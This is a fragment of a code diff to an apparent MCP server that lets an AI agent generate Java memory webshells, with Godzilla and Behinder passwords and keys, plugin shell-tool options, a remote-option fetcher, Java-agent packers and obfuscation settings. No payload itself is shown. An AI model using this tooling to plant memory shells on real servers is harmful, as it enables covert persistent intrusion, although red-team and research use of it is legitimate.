4759
+ "Additional shell-tool fields from list_shell_tool_configs, including plugin fields. String/enum fields use strings; v3.1+ object fields use JSON objects. These override matching built-in convenience arguments."
4760
+ ),
4761
+ toolOptionJson: z.record(z.string()).optional().describe("String-encoded shell-tool fields (name -> value); object fields contain JSON text."),
4487
4762
  godzillaPass: z.string().optional(),
4488
4763
  godzillaKey: z.string().optional(),
4489
4764
  behinderPass: z.string().optional(),
@@ -4758,6 +5033,50 @@ function createMcpServer(client) {
4758
5033
  }
4759
5034
  }
4760
5035
  );
5036
+ server.registerTool(
5037
+ "list_plugins",
5038
+ {
5039
+ title: "List external plugins",
5040
+ description: "List v3.1+ external plugin metadata, SPI services, load status and load errors. An empty list means no plugins or a backend older than v3.1."
5041
+ },
5042
+ async () => {
5043
+ try {
5044
+ return jsonContent(await client.getPlugins());
5045
+ } catch (err) {
5046
+ return errorContent(err);
5047
+ }
5048
+ }
5049
+ );
5050
+ server.registerTool(
5051
+ "list_remote_options",
5052
+ {
5053
+ title: "Resolve remote shell tool options",
5054
+ description: "Fetch and normalize a v3.1 remote-select field. Returns labels and string IDs or complete objects ready to pass to generate_memshell toolOptions.",
5055
+ inputSchema: {
5056
+ tool: z.string(),
5057
+ param: z.string(),
5058
+ url: z.string().optional().describe("Remote HTTP(S) endpoint; falls back to the urlQueryParam environment variable."),
5059
+ object: z.boolean().optional().describe("Override object mode; normally inferred from the field type.")
5060
+ }
5061
+ },
5062
+ async (args) => {
5063
+ try {
5064
+ const descriptor = (await client.getShellToolConfigs()).find((config) => config.tool === args.tool);
5065
+ const param = descriptor?.params.find((candidate) => candidate.name === args.param);
5066
+ if (!param?.ui || param.ui.kind !== "remote-select") {
5067
+ throw new Error(`${args.tool}.${args.param} is not a remote-select shell tool option.`);
5068
+ }
5069
+ const sourceUrl = args.url ?? process.env[param.ui.urlQueryParam];
5070
+ if (!sourceUrl) {
5071
+ throw new Error(`Provide url or set the ${param.ui.urlQueryParam} environment variable.`);
5072
+ }
5073
+ const options = await fetchRemoteOptions(sourceUrl, param.ui, args.object ?? param.type === "object");
5074
+ return jsonContent({ tool: args.tool, param: args.param, sourceUrl, options });
5075
+ } catch (err) {
5076
+ return errorContent(err);
5077
+ }
5078
+ }
5079
+ );
4761
5080
  server.registerTool(
4762
5081
  "list_obfuscation_options",
4763
5082
  {
@@ -4795,9 +5114,21 @@ function createMcpServer(client) {
4795
5114
  "agentArgs requires an Agent* shell type and an AgentJar, AgentJarWithJDKAttacher, or AgentJarWithJREAttacher packer."
4796
5115
  );
4797
5116
  }
5117
+ const hasPluginOptions = args.toolOptions !== void 0 || args.toolOptionJson !== void 0;
5118
+ const toolConfigs = hasPluginOptions ? await client.getShellToolConfigs() : [];
5119
+ const shellToolParams = hasPluginOptions ? toolConfigs.find((config) => config.tool === args.shellTool)?.params : void 0;
5120
+ const shellToolConfig = {
5121
+ ...args.toolOptions,
5122
+ ...parseShellToolConfig(
5123
+ Object.entries(args.toolOptionJson ?? {}).map(([name, value]) => `${name}=${value}`),
5124
+ shellToolParams
5125
+ )
5126
+ };
4798
5127
  const response = await client.generateMemShell(
4799
5128
  buildMemShellRequest({
4800
5129
  ...args,
5130
+ shellToolConfig: hasPluginOptions ? shellToolConfig : void 0,
5131
+ shellToolParams,
4801
5132
  obfuscationOptions: parseObfuscationOptions(args.obfuscationOptions)
4802
5133
  })
4803
5134
  );